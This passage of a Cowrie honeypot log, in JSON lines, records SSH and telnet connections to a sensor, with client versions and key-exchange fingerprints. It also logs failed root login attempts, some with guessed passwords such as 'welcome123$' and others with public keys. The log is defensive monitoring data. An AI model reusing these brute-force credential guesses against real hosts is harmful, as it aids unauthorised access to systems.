{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57576,"dst_ip":"10.17.0.5","dst_port":23,"session":"abaa27955e29","protocol":"telnet","message":"New connection: 152.42.224.71:57576 (10.17.0.5:23) [session: abaa27955e29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:53.779378Z"}
{"eventid":"cowrie.session.closed","duration":34.00083565711975,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:57.511391Z","src_ip":"152.42.224.71","session":"122c2b483cdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.95884609222412,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:58.411212Z","src_ip":"152.42.224.71","session":"51fa303747a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.90437364578247,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:58.855430Z","src_ip":"152.42.224.71","session":"c2b76cd3f858","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":97.68495893478394,"message":"Connection lost after 97 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:02.715908Z","src_ip":"152.42.224.71","session":"ae02f7ef9b8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.217.16.126","src_port":9885,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b8b8ac4edd2","protocol":"ssh","message":"New connection: 182.217.16.126:9885 (159.203.135.109:22) [session: 2b8b8ac4edd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:10.634658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:10.638963Z","src_ip":"182.217.16.126","session":"2b8b8ac4edd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:11.159794Z","src_ip":"182.217.16.126","session":"2b8b8ac4edd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.84385895729065,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:11.225735Z","src_ip":"152.42.224.71","session":"e903203eb301","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00123262405396,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:11.393613Z","src_ip":"152.42.224.71","session":"846052c4a676","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome123$","message":"login attempt [root/welcome123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:12.042797Z","src_ip":"182.217.16.126","session":"2b8b8ac4edd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.227.3","src_port":57012,"dst_ip":"159.203.135.109","dst_port":22,"session":"82937e2ffd12","protocol":"ssh","message":"New connection: 43.156.227.3:57012 (159.203.135.109:22) [session: 82937e2ffd12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:12.429356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:12.433717Z","src_ip":"43.156.227.3","session":"82937e2ffd12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:12.671501Z","src_ip":"43.156.227.3","session":"82937e2ffd12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:13.257150Z","src_ip":"182.217.16.126","session":"2b8b8ac4edd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"774411","message":"login attempt [root/774411] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:13.654552Z","src_ip":"43.156.227.3","session":"82937e2ffd12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50024,"dst_ip":"10.17.0.5","dst_port":23,"session":"6aadafb07501","protocol":"telnet","message":"New connection: 152.42.224.71:50024 (10.17.0.5:23) [session: 6aadafb07501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:13.659719Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.243.61","src_port":20470,"dst_ip":"10.17.0.5","dst_port":22,"session":"39627a201e2d","protocol":"ssh","message":"New connection: 208.87.243.61:20470 (10.17.0.5:22) [session: 39627a201e2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:14.589008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:14.594500Z","src_ip":"208.87.243.61","session":"39627a201e2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:14.669085Z","src_ip":"208.87.243.61","session":"39627a201e2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:14.895632Z","src_ip":"43.156.227.3","session":"82937e2ffd12","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:43:5a:c0:c2:bd:65:a6:61:e6:05:43:29:f5:76:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCW7tDVO8dFxTOH5F0ThXOx4W/fVWrvQ46ov+4OPbrXP6yY4R+9DWxzo+0baF/v0W2Z1KzWY4SMSvcLXKvZAHi13EXOvOkMEehQli91OdR8KmHB5pQUb8MHTc6X2pFQm+M7370dnjOZmyHtTHrwRszcYaMB/sJAD9VGcC4TPstpVHJ8wpiPKaxvXAbZ+m5ckJcT3DxTUwnNY30wX79YDxh+sboOPtjK4sbpEzhXLUbfXEX8aIOBsMAPFdRemLAqwWGHMu7wRd05c4ZV1dcFqEcR4Zg+tKYGv2hGPoc+8I+wPTLojKg6i3TLz+L+08EG32UiyZ9LvcX87Eqjx6LxYuH7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 78:43:5a:c0:c2:bd:65:a6:61:e6:05:43:29:f5:76:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:15.016626Z","src_ip":"208.87.243.61","session":"39627a201e2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:43:5a:c0:c2:bd:65:a6:61:e6:05:43:29:f5:76:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCW7tDVO8dFxTOH5F0ThXOx4W/fVWrvQ46ov+4OPbrXP6yY4R+9DWxzo+0baF/v0W2Z1KzWY4SMSvcLXKvZAHi13EXOvOkMEehQli91OdR8KmHB5pQUb8MHTc6X2pFQm+M7370dnjOZmyHtTHrwRszcYaMB/sJAD9VGcC4TPstpVHJ8wpiPKaxvXAbZ+m5ckJcT3DxTUwnNY30wX79YDxh+sboOPtjK4sbpEzhXLUbfXEX8aIOBsMAPFdRemLAqwWGHMu7wRd05c4ZV1dcFqEcR4Zg+tKYGv2hGPoc+8I+wPTLojKg6i3TLz+L+08EG32UiyZ9LvcX87Eqjx6LxYuH7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:15.020638Z","src_ip":"208.87.243.61","session":"39627a201e2d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:ad:f3:66:cc:32:a7:73:0e:03:c4:e8:0b:72:c7:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwdZpkp60/VEHfBKV3WYM5e9/uzlbNxCem5YKKKU5DtsdC19oIzDwmK1opP2FYTVnUdeh71GYSWW17DcP1+ikfMtkIjHic9JyQW372WqU8rLSgzyzf6V8vB5Av6jnMT4xf2/O6XJD7DquyVkrIivPuqFUcv/oAzGJkYcuk+GEFOASV5W8JkPW2jwgeKYIgRe7N2xo7G+QABhb7wGDMb/dRIFLR0Em0zy1SgzWJ4TQ7oinL4zs5GB0zZcZcQyepz+znXM1Twwpt+UrwqP58P1fzXp64X6fF/iN6dJBW3apWhSa7hlRMgyYGo7ei1gOZIXIX85mgT9RIU17CLg3t2wVr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:ad:f3:66:cc:32:a7:73:0e:03:c4:e8:0b:72:c7:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:15.100233Z","src_ip":"208.87.243.61","session":"39627a201e2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:ad:f3:66:cc:32:a7:73:0e:03:c4:e8:0b:72:c7:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwdZpkp60/VEHfBKV3WYM5e9/uzlbNxCem5YKKKU5DtsdC19oIzDwmK1opP2FYTVnUdeh71GYSWW17DcP1+ikfMtkIjHic9JyQW372WqU8rLSgzyzf6V8vB5Av6jnMT4xf2/O6XJD7DquyVkrIivPuqFUcv/oAzGJkYcuk+GEFOASV5W8JkPW2jwgeKYIgRe7N2xo7G+QABhb7wGDMb/dRIFLR0Em0zy1SgzWJ4TQ7oinL4zs5GB0zZcZcQyepz+znXM1Twwpt+UrwqP58P1fzXp64X6fF/iN6dJBW3apWhSa7hlRMgyYGo7ei1gOZIXIX85mgT9RIU17CLg3t2wVr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:15.104821Z","src_ip":"208.87.243.61","session":"39627a201e2d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:73:d4:de:12:8d:32:5d:ee:ec:de:28:26:28:08:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCaE3ZoVHt/q32bW6l9nFyDB4o/5Usim3GrvfJaTGo7bFPPSEZ2eaYhMrWHEaOuS5uG9/2A5LGrxNKUZlEA3e28vv41Z8uux1oxT9jctr3LNJJTv0prunwoYIetOzWOdNXOW9rNeJHwhCkUTc/Zq488OLDjo784g9teobrJFOCbEwdyAb5FI/4/kddWCGshPGDHnSFrCu1o/YEc2cqNsBz4eAnnIk4Ti26FA3pb2yLKiMXFePmd3IIO0I/8KyBy1ZiPVHV012rDlswz81ayUKAB/5b2Wm4hODcZUE5F8WINyAcrqWSlzsugzv3Wne26WDGY3D1+4RrLkO63/NlKEfeg8kUg45ooE9V2HcX2aCI9O6JCZjfxy/RG/VMRq6wAXR6zBp9qdzFHnjHUKUq45+SVJdBeNBctxk49n/QfaC2tmzSfP0AmJ9Sdb+wjP8h+Wt42KJnNNkJKi1aKc66r/bNCVc9prTmFJ6GZD2A/ti50b1e3z06OUbTeWQIRH9K1wg2TBglLY+a9+r3KX/fzXxh2EPzRZMSyqiObzcjDr1pwNFeSHHqqgQuHBe74XmseczcctevAWmiL66u5qHN4V2jYqqo+BrFTr38osrTO9L1y2Wr2o258OLdTbGLDXAAtPYwBz7PI7Cue2ag/8n+M/SRGrmlXjNgwQGuVutLCT25Fzw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:73:d4:de:12:8d:32:5d:ee:ec:de:28:26:28:08:56","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:15.180994Z","src_ip":"208.87.243.61","session":"39627a201e2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:73:d4:de:12:8d:32:5d:ee:ec:de:28:26:28:08:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCaE3ZoVHt/q32bW6l9nFyDB4o/5Usim3GrvfJaTGo7bFPPSEZ2eaYhMrWHEaOuS5uG9/2A5LGrxNKUZlEA3e28vv41Z8uux1oxT9jctr3LNJJTv0prunwoYIetOzWOdNXOW9rNeJHwhCkUTc/Zq488OLDjo784g9teobrJFOCbEwdyAb5FI/4/kddWCGshPGDHnSFrCu1o/YEc2cqNsBz4eAnnIk4Ti26FA3pb2yLKiMXFePmd3IIO0I/8KyBy1ZiPVHV012rDlswz81ayUKAB/5b2Wm4hODcZUE5F8WINyAcrqWSlzsugzv3Wne26WDGY3D1+4RrLkO63/NlKEfeg8kUg45ooE9V2HcX2aCI9O6JCZjfxy/RG/VMRq6wAXR6zBp9qdzFHnjHUKUq45+SVJdBeNBctxk49n/QfaC2tmzSfP0AmJ9Sdb+wjP8h+Wt42KJnNNkJKi1aKc66r/bNCVc9prTmFJ6GZD2A/ti50b1e3z06OUbTeWQIRH9K1wg2TBglLY+a9+r3KX/fzXxh2EPzRZMSyqiObzcjDr1pwNFeSHHqqgQuHBe74XmseczcctevAWmiL66u5qHN4V2jYqqo+BrFTr38osrTO9L1y2Wr2o258OLdTbGLDXAAtPYwBz7PI7Cue2ag/8n+M/SRGrmlXjNgwQGuVutLCT25Fzw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:15.184191Z","src_ip":"208.87.243.61","session":"39627a201e2d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:14:56:db:41:3f:63:de:92:1a:b3:6a:07:de:12:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDg2E5ba47f+n0KlBQW9ojN+/S+MH0yzxdNzrKtq6M2DmyQ7YjBk1zcgABBEoQEkwxFWGtYH2Sr7i6LUfs6Zirdo+9gN08x/jIyd/NNk3EREU5g3C1T4U8wqXA8e4MUhaE6AEpkB81LLmWP9i/fapDNtjedhMPwsxflTxRIfvXtPWQJ4KQDEEqxfay2muWeNb0elGIydGdLHQewRccX30E/+IyLD2O+rVWNmAkRItGnyTdtdymk+V6SBi/DnWL6e6KC50KGAN7HyoX/DyZ0dMftrmkPEDmg9aNmcu0WeAv04Utg0xCY5UVLHdtKOGU6uNALpdv3E8IjeMFp9lXQGZbP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:14:56:db:41:3f:63:de:92:1a:b3:6a:07:de:12:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:15.257983Z","src_ip":"208.87.243.61","session":"39627a201e2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:14:56:db:41:3f:63:de:92:1a:b3:6a:07:de:12:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDg2E5ba47f+n0KlBQW9ojN+/S+MH0yzxdNzrKtq6M2DmyQ7YjBk1zcgABBEoQEkwxFWGtYH2Sr7i6LUfs6Zirdo+9gN08x/jIyd/NNk3EREU5g3C1T4U8wqXA8e4MUhaE6AEpkB81LLmWP9i/fapDNtjedhMPwsxflTxRIfvXtPWQJ4KQDEEqxfay2muWeNb0elGIydGdLHQewRccX30E/+IyLD2O+rVWNmAkRItGnyTdtdymk+V6SBi/DnWL6e6KC50KGAN7HyoX/DyZ0dMftrmkPEDmg9aNmcu0WeAv04Utg0xCY5UVLHdtKOGU6uNALpdv3E8IjeMFp9lXQGZbP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:15.262209Z","src_ip":"208.87.243.61","session":"39627a201e2d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:c6:4f:ea:0f:6d:83:bb:61:27:c4:39:5f:22:eb:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDOABuS9pralqCSnxbPEAS7pSJ88UVvvwPLQvdn5dCLiCplfoKEQNu9zBz9808JW5DqfwqnUbDwieSw3ZAl0ggoHjuGxCMOfSovFNyA5+ft+osbN1ugeJxkBIwHlRsI3kohCrH2GbOyOyLQLAXIVIkzXFenH4NhPd3eHebuO9SWQKMthlMEZWeY5msz0jycYNZhpx5YHMBeXHyrBHcIP25q9MxamoGGfZcEwaG+vdy/4+hsAKUEp9A4nJUShXgNgyIKyl+qVHYH1wb8T6fzxyMAjNIH5FbuCONwVE0K57NLkimAlpdv882m03nyNjbxYP4+iY3pgJv4sHMAWidLqO1se0zoBK0F0ZTPllJ/llK7iq0g/IAjhmo9mV5fDlE77M2mXqs+96iyyd49dMj/eYJsGyT8E7Fqnn/BU1iGAbE5kLzjkaSvohZMqAFd3/s8USZzY819WGf+O5+olY7XvNKWXeFfkKqUwQ0O34+P1WfPbkHW9bMjk2m8KKzwE39+Jb8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:c6:4f:ea:0f:6d:83:bb:61:27:c4:39:5f:22:eb:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:15.337270Z","src_ip":"208.87.243.61","session":"39627a201e2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:c6:4f:ea:0f:6d:83:bb:61:27:c4:39:5f:22:eb:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDOABuS9pralqCSnxbPEAS7pSJ88UVvvwPLQvdn5dCLiCplfoKEQNu9zBz9808JW5DqfwqnUbDwieSw3ZAl0ggoHjuGxCMOfSovFNyA5+ft+osbN1ugeJxkBIwHlRsI3kohCrH2GbOyOyLQLAXIVIkzXFenH4NhPd3eHebuO9SWQKMthlMEZWeY5msz0jycYNZhpx5YHMBeXHyrBHcIP25q9MxamoGGfZcEwaG+vdy/4+hsAKUEp9A4nJUShXgNgyIKyl+qVHYH1wb8T6fzxyMAjNIH5FbuCONwVE0K57NLkimAlpdv882m03nyNjbxYP4+iY3pgJv4sHMAWidLqO1se0zoBK0F0ZTPllJ/llK7iq0g/IAjhmo9mV5fDlE77M2mXqs+96iyyd49dMj/eYJsGyT8E7Fqnn/BU1iGAbE5kLzjkaSvohZMqAFd3/s8USZzY819WGf+O5+olY7XvNKWXeFfkKqUwQ0O34+P1WfPbkHW9bMjk2m8KKzwE39+Jb8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:15.341291Z","src_ip":"208.87.243.61","session":"39627a201e2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:15.416538Z","src_ip":"208.87.243.61","session":"39627a201e2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.230.136.33","src_port":43738,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe5a95c1f26b","protocol":"ssh","message":"New connection: 94.230.136.33:43738 (159.203.135.109:22) [session: fe5a95c1f26b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:16.665411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:16.670085Z","src_ip":"94.230.136.33","session":"fe5a95c1f26b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 